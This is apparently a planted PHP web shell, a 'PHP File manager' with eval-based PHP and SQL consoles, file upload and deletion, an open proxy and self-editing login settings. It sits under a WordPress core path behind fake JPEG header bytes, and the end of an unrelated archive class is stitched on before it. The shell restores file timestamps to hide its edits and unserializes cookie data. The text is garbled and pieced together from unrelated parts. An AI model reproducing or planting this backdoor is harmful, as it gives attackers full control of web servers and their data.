	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUI